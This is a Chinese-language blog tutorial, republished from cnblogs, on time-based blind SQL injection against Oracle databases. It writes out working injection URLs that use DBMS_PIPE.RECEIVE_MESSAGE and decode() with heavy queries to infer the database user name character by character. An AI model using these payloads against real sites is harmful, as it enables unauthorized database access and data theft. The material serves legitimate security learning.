码迷,mamicode.com
首页 > 数据库 > 详细

大哥带的Orchel数据库时间盲注

时间:2019-05-31 01:13:15      阅读:190      评论:0      收藏:0      [点我收藏+]

标签:语句   ima   堆叠   指令   基于   post   inter   https   return   

0X01Oracle基于延时的盲注总结

0x00 前言

oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;

 

oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

 


 

0x01 DBMS_PIPE.RECEIVE_MESSAGE()函数延时盲注

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message(RDS, 10)

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

延迟盲注中的应用:

http://www.jsporcle.com/news.jsp?id=-1 or 1= dbms_pipe.receive_message(RDS, 10)--
http://www.jsporcle.com/news.jsp?id=1 and 1=dbms_pipe.receive_message(RDS, 10)--

技术图片

如果页面延时10秒返回,即存在注入。


来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE(‘任意值‘,延迟时间)
 
 
 

0x02 decode函数延时盲注

decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。

在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。

技术图片
and 1=(select decode(substr(user,1,1),S,dbms_pipe.receive_message(RDS,10),0) from dual) --
 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),S,dbms_pipe.receive_message(RDS,5),0) from dual) --
技术图片

 

技术图片

当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:

(select count(*) from all_objects)

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),S,(select count(*) from all_objects),0) from dual) and 1=1

大哥带的Orchel数据库时间盲注

标签:语句   ima   堆叠   指令   基于   post   inter   https   return   

原文地址:https://www.cnblogs.com/-zhong/p/10952785.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!